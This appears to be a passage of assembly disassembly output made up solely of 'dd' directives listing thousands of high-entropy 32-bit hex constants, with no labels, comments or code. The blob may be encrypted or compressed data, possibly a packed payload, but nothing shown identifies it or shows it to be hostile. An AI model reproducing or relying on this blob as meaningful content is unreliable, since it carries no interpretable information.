		dd 93B75066h, 416EF0C7h, 4B0D4E06h, 7644B515h, 0E6D824FEh
		dd 192B0A99h, 0F8605B5Eh, 92E6663Ch, 7F2E2400h,	0EE635DA5h
		dd 0F544141Bh, 0BD24420Fh, 9F6A7438h, 23829451h, 4223BCA5h
		dd 46B7BEE0h, 4A018417h, 0B88FD183h, 0E4973E03h, 50FE4AD6h
		dd 184BE867h, 19F3BCDAh, 91C2FE84h, 0CE579C98h,	3B65349Fh
		dd 37EAC6CCh, 22131D34h, 6F788C4Bh, 0EC11AB49h,	9F1E79D7h
		dd 0ABBFFEA1h, 0C5A39290h, 0E9008077h, 874A5857h, 6C490DCAh
		dd 5D8F040Fh, 56320F38h, 5F7F6C76h, 0A184D367h,	0AA16669Fh
		dd 0BFC1DB49h, 8BF0385h, 870832C3h, 0CF005B03h,	0D5C35FCDh
		dd 0E39B1577h, 2279754Eh, 8FE186A7h, 0B7D88985h, 4A398A78h
		dd 0FA873FFBh, 0B098F383h, 0E873BAD7h, 0D7E31B51h, 0F44B4B3Eh
		dd 0F643DBh, 28856707h,	9433CE80h, 0F03E2701h, 0FF882519h
		dd 0A536C341h, 0E2F6E147h, 0E32C63E9h, 0E29CE6F0h, 1F63E3A9h
		dd 0A23B79CCh, 11BCADBh, 827E8F2Dh, 0FC4918FEh,	5D30DB2Ah
		dd 5F3F475Ch, 0D63310B5h, 17479D6Fh, 0CF202B19h, 228652B2h
		dd 7F530513h, 744BA6E9h, 72A0D3E4h, 652D51C5h, 868F39EBh
		dd 0E1727269h, 8DFFD4D8h, 0A910E44Ah, 0F3844B96h, 0DBC68209h
		dd 372C26FEh, 82862A3h,	5C5D27Ch, 0F8990983h, 0A7041606h
		dd 2D2A2403h, 7F820A92h, 3113E6A2h, 0C188B88Bh,	0AC851FD4h
		dd 0D0DCF212h, 0AF732C59h, 0A7DA7154h, 0F969CA04h, 0CD79105Eh
		dd 93439C1Fh, 2EBC766Fh, 9EB9C338h, 8F350FB3h, 8221D197h
		dd 7A4B723Ch, 0EE44B552h, 50F0A7C8h, 3BA3457Eh,	9F72CECFh
		dd 0C6499B04h, 7E68B58h, 4178FE09h, 2134385Ah, 9B51FD1Ah
		dd 0E40DF590h, 8ACBDB1h, 0F6F71270h, 0DBD35585h, 5C6DEB0h
		dd 42231E1h, 0A2799898h, 1C6C2A29h, 4441793h, 564268AEh
		dd 902854A5h, 352C46h, 2EB10FEh, 446B06C4h, 232A47A7h
		dd 0C5A929EEh, 0A86EEBD1h, 973D85D9h, 0F97C0446h, 0F141C1E9h
		dd 0E698C9C9h, 3A34C71Dh, 4E536C0Fh, 3FDA9105h,	0CA581F39h
		dd 0D760BD4Dh, 4E4A2EB2h, 0CEBB3104h, 6A48753Dh, 8951A24Fh
		dd 0E8A90EDFh, 990F7140h, 0DAC750D4h, 38C1F246h, 9DC01F0Ch
		dd 0E366E488h, 410B5C01h, 514715FDh, 57150CE0h,	65BA940Eh
		dd 0CA062E28h, 0D5119919h, 0EC90C672h, 45B50B17h, 3F3E5151h
		dd 0A3FB796Ch, 0CD8DDE89h, 70B93F7h, 0D110EF8Bh, 783F6BC2h
		dd 6A09EEE1h, 0C40E01F3h, 0A7FAA5AAh, 93ED48h, 17183A93h
		dd 47D7D8BAh, 0F005A281h, 55469BC6h, 0E1AC801Ch, 0F41707BFh
		dd 0F0F2C80Fh, 710FC8D0h, 4551A48Bh, 827B77C4h,	3905645Ch
		dd 130AEADDh, 4C754AC1h, 6CFC08Ch, 1C4AEFD5h, 0E5990577h
		dd 2D4852A9h, 51202F38h, 0B2513806h, 764002C9h,	59F731C3h
		dd 0FBC4F11h, 0A5AE3FA1h, 685B653Ah, 4E4A1031h,	2A50DC91h
		dd 0D61757B4h, 83EA4681h, 5CE24052h, 0C6E863D6h, 0EBFEE538h
		dd 8708106Dh, 7DCE1F07h, 6565F73Bh, 6A27B389h, 38761499h
		dd 8412C218h, 0B8509589h, 53BFC773h, 1F7E1F8Fh,	8228702h
		dd 84DA50FAh, 85C6FD78h, 0AB85BCD6h, 3828F910h,	97D06772h
		dd 6AE0D7D3h, 28D26A3Ch, 3389F306h, 75C2846h, 4A38895h
		dd 0A12CC1E5h, 0EEB9EAA9h, 0B117ACDBh, 6264959Ah, 2E7530F3h
		dd 0B41E12F4h, 0BCBD47BEh, 8A1D5D54h, 7FFA1014h, 1652A2C8h
		dd 0F486964Ch, 0DB85F92Ah, 0FFAFCABDh, 0D1ADD906h, 2906B9F7h
		dd 14C162BFh, 32EB8075h, 0D44548BEh, 0CFA34A3Eh, 78EF9F75h
		dd 0F07C8F5Eh, 8B51C87Eh, 0D339A17Fh, 3AB49034h, 0C28009E3h
		dd 6409AF77h, 819C0FE6h, 0BB2DDB9Bh, 77257BDAh,	0F9647732h
		dd 1D3930D7h, 84CCEC1Fh, 207A81ECh, 0FCBE769Fh,	561F5648h
		dd 9C94D11h, 926A4289h,	0E10C1Ch, 6474F362h, 0A1006C1Ah
		dd 0A808CD1Ah, 0D52F22B9h, 588FB8E0h, 0C834C91Fh, 0DED90D5Ch
		dd 502D8A5Eh, 0ECCB70B6h, 0D568227Ch, 787BE3EDh, 177B28A0h
		dd 341E7172h, 8AD38CE4h, 707D5A8Ch, 99F171EEh, 2873B60Eh
		dd 3925BB46h, 59F178AAh, 1BEC9E79h, 914D5FA0h, 8E29FFA8h
		dd 38D56B1Fh, 3F662025h, 9494F7A7h, 2C428272h, 5A3E2C86h
		dd 2B678AFBh, 0FC9240E8h, 0DBB37A5Bh, 26D664B4h, 5E2459Ch
		dd 861F259Ah, 0C1E11D36h, 31D5FA51h, 90871CDEh,	14CE3C3h
		dd 651D4A18h, 74A8C2ADh, 11B713E2h, 0E2575E60h,	2E838175h
		dd 0FB7739h, 2F52D1DAh,	27C7A8AAh, 0E1F526DAh, 1F2BB576h
		dd 8C1B7689h, 8EA52F55h, 0CFE76661h, 0E5FC654Dh, 0EEA32C98h
		dd 0A6196B65h, 9D99839Ah, 0CB47F912h, 0B468E016h, 332F2C4h
		dd 96D2F540h, 54729D0Dh, 6E0F9200h, 1465E801h, 5780DF4Bh
		dd 91E4AC1Ch, 95AAA87Ah, 9B0C6A4Bh, 722CF8C3h, 0DC18CCB0h
		dd 1FC9A6C0h, 6944F377h
		dd 0F1096252h, 0E1EB2B35h, 9519619Ah, 62A0F3FAh, 0A1EED8A1h
		dd 925ABFC7h, 8A5B9DE6h, 5E11979Dh, 0F0124E7h, 0EE8C5361h
		dd 0FB4E101h, 15085085h, 5F12F3DDh, 0A12BC4B0h,	69EE06EBh
		dd 0B61D3758h, 24DAEA98h, 7A1FB1B0h, 3183A32Ch,	0E5E71DDBh
		dd 0F087CA9Bh, 0CA73B8FBh, 7EBFE807h, 3A338191h, 0B1CE349Ah
		dd 6E1EAC52h, 0CF482098h, 3EA34F6Ah, 9A098476h,	416D72BCh
		dd 0E146FBACh, 3C895BF5h, 0BCF3F5DAh, 260B92EFh, 0A6D1289Eh
		dd 0CA38B8DDh, 3EB3EF40h, 6278F958h, 0EB6BC65Bh, 1D6719BAh
		dd 69688A4Bh, 3752FBDh,	7564D181h, 0B8BC4AB9h, 160527EAh
		dd 17DB5E16h, 8E2B6559h, 122AB006h, 0B0593FC5h,	0F22A8DA4h
		dd 0BF158691h, 0AC2C3D40h, 26A149D1h, 0B3BDBECFh, 2F284D92h
		dd 2BF1796Bh, 0E8214316h, 0BA71781Ch, 1E7418A7h, 0E9EED145h
		dd 0ACDE9201h, 608AA675h, 90CF60C2h, 0E058A909h, 77F65BD0h
		dd 4D2F2E9Dh, 7CC3E6B0h, 8097BDDEh, 4C54D286h, 0E1A72126h
		dd 0C11F6520h, 0C393B153h, 13142FAh, 0B6128419h, 29DA9454h
		dd 9C169628h, 4BB4E67Eh, 0B2569654h, 65128CA1h,	0B014702Dh
		dd 35E828B1h, 1AB672B9h, 8ABF03C1h, 0ECEE8B91h,	0EE633B83h
		dd 859E3C3Bh, 0C7FBF37h, 0DC7C3A3h, 0DF4E2C4Fh,	0A62EDDB3h
		dd 7E8FEF37h, 0BE904929h, 0C898DDFh, 0DB7CDD73h, 4EEC5734h
		dd 356457C6h, 4A67CA2Ch, 0D125A691h, 1ACCA3C9h,	52415B2h
		dd 7D5C872Dh, 0B26C427Ch, 9EC58DA2h, 33A546F2h,	0E6898094h
		dd 0B37D8EF5h, 0CE9386D0h, 31177C00h, 1355BB86h, 734420EBh
		dd 9C3B1CDEh, 0E3730CD2h, 849CA3A5h, 642D20E3h,	0B44BC275h
		dd 87CD889Ch, 8F0073A4h, 3EF359B8h, 0C9F96511h,	710FF278h
		dd 251BCA37h, 70E200C4h, 0DC4C96C6h, 0A55DC39Dh, 0B034152Dh
		dd 14CD699Ch, 8960918Bh, 2C264C8h, 0EA32A6C7h, 8E97B259h
		dd 39B76CCAh, 0E3D5C598h, 0D20C13C0h, 136FE233h, 0A656B76Eh
		dd 0D4778257h, 0DC9E81C7h, 560D6B3h, 0A0A045ECh, 0ABC52527h
		dd 0C8B7B7C1h, 0C67ED5C1h, 4D6BFD61h, 9C6568B6h, 940EA450h
		dd 5D1FCD11h, 17F52B4Dh, 0CCD5BD0Bh, 85653EFAh,	84499C9Ah
		dd 0E71810DDh, 0EDBAC6C9h, 7EE6DA56h, 0F94AAE42h, 0B7189980h
		dd 0AD2E4722h, 1AAE8F96h, 0B43F04F7h, 0FCDA149h, 7FE042Fh
		dd 9E7B1AFBh, 49FA993h,	25732798h, 88963C5Ch, 2585128Dh
		dd 83E6AABCh, 0B3EA3504h, 4D1EC2A4h, 0BB5CF1CEh, 3B557075h
		dd 920DB79h, 0C87184E0h, 1FE2104Eh, 87727BA7h, 8C4D7E04h
		dd 0D4E8BB5Ch, 1641452Ch, 98FC829Bh, 0CC2B502h,	96796D8h
		dd 2FCC9F79h, 0D711D606h, 5BC01132h, 1C353DABh,	8EE69569h
		dd 15B897C0h, 81F02D04h, 0E94DA485h, 0B3C07F42h, 24642FBAh
		dd 8ED031C7h, 0A9D5EEF5h, 5BE8122Dh, 4DC4DB07h,	0D1AF9643h
		dd 0BE61209Ch, 40CBF36Fh, 0D7B2B4BAh, 18D338AEh, 8E2748C2h
		dd 2ED801F1h, 0F74E04E4h, 4B07B066h, 431BADF8h,	2C792439h
		dd 76271293h, 25FE0447h, 0BF6195F9h, 0C253CC20h, 0CB38D080h
		dd 0AFE01856h, 9A269F25h, 8DEAE428h, 77BD1356h,	1BF39DEBh
		dd 0B89782EFh, 91D0F3F9h, 3B6C31D6h, 0D789C1ADh, 9E06EFB3h
		dd 66161CF3h, 0BAC020B6h, 0AC400F8h, 0CE904E9Ah, 0E05C1906h
		dd 0C1AC90C9h, 0B6CF5BE3h, 2E13EB43h, 6A7B4ABh,	94B794C0h
		dd 5115F470h, 6EB718ABh, 0CEEC2CABh, 843262ADh,	0E2EF127Eh
		dd 0AE8BCC89h, 0E3256CDBh, 0E71C7434h, 0FE9771D5h, 28CC8C39h
		dd 0FEC6BDDCh, 99060C10h, 29E0D0E9h, 3CD30394h,	77B4C05Dh
		dd 0A5D27ACh, 9433F7E1h, 0ED6A4505h, 0F28524FEh, 5DEB2462h
		dd 0F93CDBD1h, 23DE6458h, 0EA6E158h, 0C07DCE65h, 6DDF2ACCh
		dd 1DFDC83h, 1457289Eh,	8BD64EE1h, 0B34B9C7Dh, 0CEF44CDh
		dd 0D363E4F4h, 3B1DFE63h, 3DC7C682h, 4A4798A5h,	6CDE6C18h
		dd 873F67E1h, 245EE5E1h, 7A435D8Bh, 160CDE7Eh, 0B5F4D28Bh
		dd 31A469C3h, 7E80B2CEh, 93509D23h, 2704FC8Bh, 0A4E528C9h
		dd 0F7FB76EEh, 3EE77399h, 4C01CEB5h, 0EB8BA75Ch, 418C344h
		dd 43FDEF62h, 5C1D82EBh, 40ABDD6Eh, 68F312D2h, 0A832D428h
		dd 8AAC9955h, 3B3AD808h, 6B24F479h, 42637DD2h, 0B8F47E2Bh
		dd 36C99DD8h, 63F7640Eh, 948AFB9Eh, 586CED6Eh, 8B219F60h
		dd 822012CDh, 0E306EBF6h, 0F5E23B9Ch, 4D4A5974h, 0E5717B82h
		dd 97E85F36h, 0DD2487EFh, 1CC20782h, 0AA6F863Dh, 75DB294Fh
		dd 2D6A9BCFh, 0B889BF8Dh, 23DB17DBh, 5E99F5C4h,	56542DFh
		dd 0ED06F215h, 6D3186D7h, 0DC6F3ADCh, 0DDE92D86h, 0E41E3D9h
		dd 0F917F76Ah, 8E95AF86h, 0C68798F1h, 0A8125988h, 0DFE6DB13h
		dd 0AC362D3Ah, 2DD8B3F4h, 57461987h, 1169024Eh,	0DA26A55Ch
		dd 6C35EDh, 335AC66h, 90AE0E5Dh, 91AA1D8Dh, 0BCE110B1h
		dd 863AC61Bh, 8E9C87BEh, 91298564h, 0CE790A14h,	0C205D821h
		dd 0B5323D72h, 58C6FE28h, 0A6CC3C36h, 5277FE2Dh, 5864EC03h
		dd 609DA82Ch, 0EA5F151h, 0A333B80Eh, 0E2D1FBD7h, 0B5B7B996h
		dd 37E2CB76h, 3C732B40h, 0DCBFF75h, 3309FFEEh, 6E7A4A1Eh
		dd 260A4FBDh, 575EE14Dh, 94A0FF56h, 0FF3DC793h,	104D539Ch
		dd 96BE4B4Dh, 86136085h, 859D885Dh, 27BB81A2h, 48081FE7h
		dd 4961CC7h, 941433Ch, 1F747B46h, 376E2EACh, 0DB7C8DFAh
		dd 5D265F88h, 0BF23771Ah, 48D34986h, 0F73AB910h, 5B2A6E82h
		dd 48A3DF7Ch, 0C97D2FE4h, 585FF3E3h, 63308932h,	0E67F5D4Eh
		dd 0D327ADB1h, 6BD41496h, 0A392742Fh, 493C5345h, 0F98C9675h
		dd 0FBA58EECh, 601C78C5h, 8FEA6455h, 0F1779389h, 0E35E8BCFh
		dd 0DE03C998h, 0AAB76FF5h, 0F4019662h, 0D5059422h, 7790C445h
		dd 6E706613h, 0BFAE721Bh, 0BD1FF421h, 76638F78h, 6F0FE86Eh
		dd 4E73DE24h, 0A581FAC6h, 0D4B3482Ah, 0A21C4042h, 8EB14E98h
		dd 0B0364FF4h, 0D1EB5251h, 143FFEDEh, 73BDF821h, 2AA2546Dh
		dd 812A7DA6h, 644C162Fh, 0B965B46Dh, 0D228F098h, 6729B07Fh
		dd 87D798E8h, 0EE1258EDh, 2290F035h, 45570991h,	1A0EBB50h
		dd 0B05EA3Fh, 29A011AFh, 0F61A6EEEh, 27C39922h,	0CCBEF827h
		dd 0BBDCB448h, 0C38F954h, 0BC3B033Dh, 104C6A5h,	3A749228h
		dd 62F04F1Fh, 826AC066h, 0BEC87441h, 0C0DECBFAh, 16431B50h
		dd 5EF9FF76h, 0D64A5757h, 6BBAC47Ch, 183DBBB9h,	5A91A387h
		dd 0E994CA05h, 0E7DBB26Dh, 732A142Ch, 0C87B5E99h, 33F1B0EFh
		dd 0D5223E5Eh, 0BA74CBF6h, 97F73C75h, 8C89520h,	0FEA377E8h
		dd 4D485D5Bh, 63F4603Ah, 0A3675872h, 0F4D433FEh, 599CCE9Bh
		dd 0D589075h, 8933122Eh, 199D482Ch, 68B490B6h, 8BD8DEDFh
		dd 0BEAF5F44h, 2232D786h, 142DE0D6h, 0A482648Dh, 51A0C595h
		dd 93314E61h, 63CCD5CDh, 0AFF88AEh, 7C3504F8h, 0B78CD173h
		dd 83AFFE0Ch, 62AAED2Eh, 5AFCDB36h, 22E486AEh, 0C3A8162Ch
		dd 0EA5886FBh, 33DFEF45h, 0A7C497F7h, 1B392F85h, 0E04CD108h
		dd 0FCCAA12Eh, 5B275D37h, 0D8E72B48h, 1E2CF46Ch, 4C84E5D1h
		dd 1F5B8F1Ah, 969A19F3h, 0D502531h, 1FB44E84h, 0DC01480Dh
		dd 392D5570h, 0D424A689h, 0EE17720Fh, 0CE148E00h, 0B80BFF8Dh
		dd 330965FEh, 5693B955h, 0EA77BBC2h, 0C1DA9CC4h, 566B1862h
		dd 0F7B4CF34h, 6A3CA1B0h, 8C660F95h, 3270B3B4h,	0B900C72Ah
		dd 0FE095BE3h, 3D3ACDA2h, 0E2FEC03Ch, 4098A51Ah, 0FA9E6953h
		dd 17628556h, 0E4EE2276h, 0CB5449A9h, 0A4C3DA84h, 4EF9E7ECh
		dd 6C839504h, 0A5FC20EFh
		dd 0F44F5CB8h, 0EFFD8E5h, 84D08770h, 0D490B6FFh, 0A9592809h
		dd 31DBE34Dh, 4A181C59h, 0B90A70C4h, 98DF05E9h,	1ABA5BF5h
		dd 21805BCDh, 46359CE3h, 44F69000h, 26AB5F54h, 1F1E9943h
		dd 6FCAF0D6h, 0F851ABD0h, 6B3BBDA1h, 0E7DFA0C2h, 2837558h
		dd 45F7CD66h, 584BA679h, 0EE42EC37h, 0E307A47Eh, 46E64C3Ch
		dd 0C0C6D89Fh, 0AEA53BF9h, 369E5A8Ch, 0DAEAD5A9h, 5B9469BFh
		dd 0C6F5F54h, 6F95ADF8h, 9C3C7E73h, 26FFD959h, 9E4123DCh
		dd 9999FC51h, 0CCCCEFAFh, 27A16245h, 0F6E3CDE3h, 22B831AEh
		dd 9BBFD595h, 0E82941FCh, 77F3BBD5h, 0F638D186h, 0D6DAF1E2h
		dd 7B39A09Dh, 0B6FB1BA6h, 1C328B10h, 0B626B515h, 4778B6A7h
		dd 3362412Eh, 1E20A124h, 94642978h, 95D83447h, 0C11D4560h
		dd 31F4CDE1h, 89922F2h,	4BAB441Dh, 424DDB03h, 0D0B6C6B4h
		dd 51A1DADh, 0B2042C85h, 2B961FBEh, 0D32F3110h,	0CBC5D13Fh
		dd 0DAD2C51Ah, 0CA54BD02h, 0C1D0524Bh, 3C476A75h, 63DB2A35h
		dd 0B2B63DFCh, 4C7E862h, 8A7ECD2Eh, 5E52D7D4h, 0AD311B24h
		dd 23B5354Ah, 3699C098h, 34C115D5h, 71FB21B1h, 0F0776187h
		dd 0B23ABD3Bh, 0F94411C0h, 65543C70h, 5B3DE7CDh, 0B5B369Bh
		dd 10B0C7D2h, 620F7A36h, 9D659E21h, 4A55F33Fh, 0D93E8CA0h
		dd 0BD424E5Eh, 657F5681h, 0D2AF47D3h, 0FEDE8FE4h, 9C3DEE55h
		dd 0AAA92983h, 290EA3F2h, 0EEFFB071h, 14B5C383h, 24138E57h
		dd 0D82A8D98h, 3A643901h, 67C0D18h, 20816E12h, 0DD431F3Ch
		dd 213CB3E2h, 66028854h, 7F997ADCh, 0B916DC6Bh,	0FA663C89h
		dd 3EEA93ABh, 55066104h, 8B350B4Dh, 4DDE9506h, 9847273Ch
		dd 829FD0AFh, 0E3CBA64Dh, 9CA7903Dh, 84AF0339h,	0BB6F0AA7h
		dd 0E85E0A63h, 5F45B0F3h, 0CFA213DAh, 0D41BE15Fh, 0FBC7B1E6h
		dd 39099861h, 702279CDh, 0E1894351h, 0A37E29F9h, 48052EFBh
		dd 5812EE3h, 0CAAA1137h, 779621Eh, 487D21C0h, 0DD8CE971h
		dd 42689702h, 0AB0FDE1Ah, 666DA5B6h, 3F986F9Bh,	0CC340B8Bh
		dd 0DE7EDA1Bh, 0F27254D9h, 0D555AB77h, 0F3B59994h, 682AA064h
		dd 730AF973h, 830D6964h, 4FD9E0F9h, 7F886805h, 0BA1857B8h
		dd 0ACFC444Eh, 0F52A8D7Dh, 5EAB48C5h, 5C65D148h, 0CC2A1AF2h
		dd 11AE3DEEh, 7C13EE1Ah, 0F6D71618h, 3128740Fh,	0D669147Dh
		dd 0A75DC619h, 0E3F8B951h, 98B3EDA9h, 2212C539h, 6E9E5D6Dh
		dd 977A8A7Ah, 5B4F9125h, 7D7C2E57h, 0A026D7FBh,	0A68C7EE2h
		dd 0C44CEE51h, 956BA536h, 8D080D08h, 67A3A956h,	0CB2F1168h
		dd 6CFE47C9h, 9C022C07h, 0CEDA224Fh, 7FCF31DCh,	479E2F60h
		dd 7F5C2383h, 6B0A4399h, 0E7501640h, 0CAEED26Fh, 2741383Eh
		dd 12806E1Ah, 5FF0838Ch, 60887EAh, 0F7D01C40h, 0BC5CEED7h
		dd 0BB67C88Fh, 94FD5F47h, 73C5705Ch, 5FF93C07h,	627ACB0Eh
		dd 15331EFEh, 7B6F326h,	73C48349h, 0F258F41Ah, 3358774Bh
		dd 0DF35156Ah, 5368D564h, 75D8D9E7h, 0A1CAC3FDh, 5BD0E6A0h
		dd 9DE0AE15h, 0F51A0D1Bh, 8DFCE21Eh, 0A63456C7h, 0F1A74290h
		dd 3C08EDEFh, 28F56479h, 7F0AA397h, 1335D088h, 0EE023625h
		dd 0D1386B8Fh, 0CFF8BB47h, 0B5CF4A31h, 0D2789FD9h, 0CB6AD622h
		dd 660D5FCAh, 0BE889593h, 0FF113587h, 0BA646E92h, 0BA71D14Dh
		dd 0A7A68CF9h, 6860A98Dh, 0CE9B842Ch, 0AEA1B199h, 77C860B2h
		dd 0A9FFF6EFh, 0EB6A45B1h, 8892EE19h, 6F12A553h, 0C882F1Dh
		dd 0B2B6FFA5h, 0D0FD65A1h, 9BEA0B03h, 0A35AD0F2h, 0A70D01FAh
		dd 2B7BC9C4h, 5156FCBDh, 0BD0EBE00h, 5C607D0Dh,	0EE3264A0h
		dd 69896416h, 10E339Ch,	35A694B0h, 5A586262h, 6659BC7Bh
		dd 3DC99A3h, 0F4C1AA4Ah, 8A79DFC5h, 0D8FB20BCh,	1CEDD4A1h
		dd 0F3E52FCAh, 56B13EFEh, 7E829C8Bh, 35AE1136h,	9F4B73CEh
		dd 9D418DE0h, 0EBE4A599h, 922FE71Ah, 28E599B0h,	38FD857Ah
		dd 71325265h, 47DC748Ch, 5B5FE88h, 852583D2h, 64914911h
		dd 2858AC6Ah, 61EEE312h, 0D63EE6F2h, 42FB1431h,	0FA3CCDEDh
		dd 11687C31h, 0CFE00090h, 0D2BDADBBh, 8C0CE1FDh, 3F8735A8h
		dd 9C3AA8CCh, 0DC3C5A59h, 0A83D466Fh, 88324AF2h, 37F519ECh
		dd 0F01294DFh, 813E9744h, 0BA778270h, 5ACB166Ah, 2401B063h
		dd 7BB4EBC3h, 0D7E99F35h, 22EEB436h, 0CE172710h, 0B5CEBE5Ch
		dd 0E6B14666h, 9747FB50h, 0B30A2D3Fh, 4A687904h, 9AE87FA7h
		dd 7C5AE2BFh, 4F2940B8h, 0D485891Ah, 96D97B18h,	59FA8709h
		dd 382E5B7Bh, 0EE9371Fh, 22A55BE0h, 60216C45h, 0B46466B3h
		dd 19E5EEF7h, 8823F32Dh, 0F60C2C28h, 0B48FE40Ah, 0BC6BAF4Ch
		dd 0CFD0772h, 0F3EDD206h, 95FEFF93h, 70775382h,	259E2EFEh
		dd 9D3FA72Bh, 0D4653B8Ch, 280B9134h, 3B2A7D3Dh,	6303E1DFh
		dd 46B6FB2Eh, 243E768Dh, 0EFCBC9CBh, 0FA958F63h, 4FBC0030h
		dd 0E7FEFC62h, 28A18671h, 0AFF1A239h, 0DDC090DFh, 0F56B99Fh
		dd 0AD30B280h, 2B16D81Ah, 12ED38DAh, 7E810B6Ch,	2461AB34h
		dd 0BA0E2E7Ah, 1D582C9Dh, 0F3DBAEB5h, 7CCF448h,	0B93D2758h
		dd 46078B84h, 24D39CE1h, 0D945D253h, 540623CAh,	4EA5F100h
		dd 0C807FBB5h, 23E4680Ch, 0A3A102DEh, 3A713248h, 90FF118Eh
		dd 0B9C8ABAAh, 0F8E72D58h, 0FF1C46B0h, 26D506B2h, 4E6ED3B2h
		dd 0C404A96h, 4172D352h, 208C18D0h, 99FB8181h, 0D27E60FEh
		dd 7F7899Dh, 0B0E8FA17h, 0A7C5E53Fh, 6E76AE2Ah,	1382306Eh
		dd 88BAAECAh, 0FD5328BEh, 49C8AFDDh, 0FC31FC1Dh, 0B7B0842h
		dd 43B1E71Dh, 0D39CDB13h, 928B0933h, 392AD40Eh,	0C9978E3Eh
		dd 60384BCDh, 0E9C7D4B6h, 0A8E64CBh, 0B627C1D4h, 0E71660A5h
		dd 2F4D059Fh, 0F9DCF4DDh, 0BF4AB066h, 66D15E1Dh, 2F626840h
		dd 767F47C5h, 0DBD71DB3h, 0D942D31Ch, 759F8449h, 11408358h
		dd 70E68FE8h, 77AF2054h, 0BA39859Fh, 8BCE7A46h,	0DEA4DF6Ah
		dd 51587631h, 7FC7DA95h, 58E57398h, 0F0A94226h,	63AACBCEh
		dd 15BA9F66h, 25FDFEBBh, 0C8D402D2h, 1747ACFFh,	0BCF9AFE3h
		dd 0A0493B77h, 0ACF7BF00h, 510DCF99h, 6230AA09h, 12E6B9B5h
		dd 0ED74D16Bh, 2E500F48h, 94406764h, 0A291D567h, 0F5B010B2h
		dd 7576F5Eh, 0FA0CD72Fh, 7A8E99B8h, 116BA497h, 0E5C86964h
		dd 5CDB2B36h, 0A6C8983Bh, 0C0A92F7Bh, 6D8F63BFh, 0C1C785DFh
		dd 0C224EDE0h, 0DF7FD997h, 0DF2F3CCCh, 2B775790h, 0A8B0960Fh
		dd 9D56DFB6h, 0C5C9C97Eh, 3AF75B9Ah, 553E3F87h,	4E0662DEh
		dd 3367D55Eh, 439EF79Ch, 541B41Ch, 0C25B2601h, 0FFA44648h
		dd 14EB3B5Bh, 7C8E8755h, 1D9E2A76h, 1B96E62Fh, 0C944B5A8h
		dd 2AEB4A3h, 7965281h, 1FED8792h, 5D7296BAh, 9184EDBFh
		dd 0BFFBFB38h, 14023507h, 0D322C119h, 14C23847h, 10202DF2h
		dd 5A9C7256h, 0FBB95AE7h, 0AD305EF0h, 0C2436614h, 8593D623h
		dd 79ADE059h, 0B59FC548h, 0B1446BCDh, 8A19BE81h, 0A296859Fh
		dd 0A9653D0Ch, 0B7726F2Ah, 0AF7B97BDh, 84A89D0Dh, 199E5DB0h
		dd 0BFB77650h, 98106379h, 35EC594Eh, 0D87E0FE3h, 0E1A03637h
		dd 520A545Bh, 86DAD682h, 0C0ABE218h, 0D816E6C1h, 63A4B661h
		dd 0B19ED38Dh, 8A048EC8h, 469BF588h, 0D6B1AAEBh, 31117267h
		dd 5A24FBE8h, 0C07539A9h, 300CAD61h, 6F9AA11Eh,	11084B73h
		dd 5A04E1EAh, 0FFB81421h, 1142A78h, 0BA13EF75h,	335226EDh
		dd 74BEA43h, 0B86288A9h, 61FB7D28h, 0ACCD7C2h, 0BB02AA7Fh
		dd 0FE525A27h, 4642919Eh, 0F415D86Eh, 0E178AD19h, 64E5DB15h
		dd 9AF95846h, 0D7E7160Ah
		dd 5CCB4C96h, 1B8909A7h, 0EB112229h, 0FC7B6E8Ch, 38DDD429h
		dd 3340561Bh, 87C61F51h, 0B0268FF1h, 0CFB8EDC9h, 7FB6EE0Fh
		dd 54A4E296h, 64E7FC1Ch, 0ACA7FC73h, 6F5775C7h,	529400CBh
		dd 90433508h, 3323B376h, 0C8CA3516h, 4820768h, 31B90157h
		dd 67A8080Ah, 2B7E3DEh,	0EB2092A3h, 0FCDB8A7Dh,	0B9AF30BFh
		dd 0EEF89448h, 4625E387h, 73F8C349h, 0F1236C3Ah, 2B908B36h
		dd 53ECACACh, 0F9201949h, 87978634h, 0BBF8BFC2h, 5FB2A3E0h
		dd 3FF5DFB1h, 4C1CBECAh, 5FA8CC66h, 64D019FAh, 9BD2025Ah
		dd 5D26D886h, 0FC86CF5Ch, 877B2DE4h, 0E610FB4Ah, 0E2580319h
		dd 88BCC38h, 6FF80FBDh,	4068795Bh, 0C159D0Ah, 29032984h
		dd 73A2D484h, 67F59F52h, 1933BC8Eh, 0C300CF9Ch,	309044C6h
		dd 0CBEF70D0h, 0C3A62F7Fh, 87802D89h, 612517A9h, 0A201F16Fh
		dd 2465A6E9h, 7012D95Bh, 2EB0F364h, 0F3B03685h,	0A252139Eh
		dd 0F4B0A46Dh, 0C5B5F4C5h, 0B7279682h, 0E249E3F0h, 0C32CD1FEh
		dd 18F330ADh, 0DBD868E5h, 3304B71Eh, 0AB3FA09Ah, 15A60567h
		dd 190F9C11h, 0CCBAED95h, 7D9EE57h, 0B6EA3A86h,	0C9AE06EBh
		dd 80F0164Fh, 4E43E38Eh, 88742EF6h, 0ED66D2B5h,	7ACA62ABh
		dd 267FBE0Ch, 0B03DF934h, 0A9766EFDh, 54BBD616h, 448E88D0h
		dd 0BCEE9160h, 1769885Dh, 7F3A3474h, 4F2CE9E3h,	0E2664304h
		dd 1C096A4Dh, 0AFFB96E3h, 0FA28B514h, 0D875B63Ah, 3515B463h
		dd 0A6C4F19Dh, 455BF928h, 0D6411A22h, 0C95248CEh, 869742A5h
		dd 0F5E829B3h, 180238DBh, 0E977FD6Ah, 4B5452BDh, 1F4D1D19h
		dd 3B6C6D3Eh, 3371264Dh, 4A2F5F20h, 0BF19AC5Eh,	0B4760A6Ch
		dd 71A7255Bh, 40FC712Fh, 6DF3133Bh, 402744C0h, 5A71A837h
		dd 229A7C4Eh, 0BF768872h, 1B1B7CC3h, 3A88B414h,	0E9AE4DFEh
		dd 70601860h, 8C0D331Bh, 0B043BEC5h, 0B0DBEBFAh, 0C8D6BEFDh
		dd 907C8D43h, 0E8BF5309h, 0FE817C20h, 0C3BEE66Ah, 0E3EE1348h
		dd 6E73A754h, 6B27D64h,	0D92CC10Dh, 230DA6Bh, 8D80CD1Bh
		dd 0CBE3F499h, 4E068E86h, 6857D7B7h, 0DE899B1Ch, 54F46F98h
		dd 66647E72h, 21D77374h, 0BACCB62Ah, 0EFC3F09Fh, 0E2D49244h
		dd 4E32EFB4h, 0EB84BCEAh, 0FD583072h, 857EF3FAh, 7608B65Fh
		dd 28B35BE7h, 720C45C0h, 0B0D233F2h, 88915238h,	0B66F613Ah
		dd 0E60CE12Dh, 9612ABFDh, 0ADFBED1Ch, 15CCF688h, 2D021120h
		dd 0AD84FB09h, 85B906B1h, 53D2656h, 9ACD24A7h, 80892418h
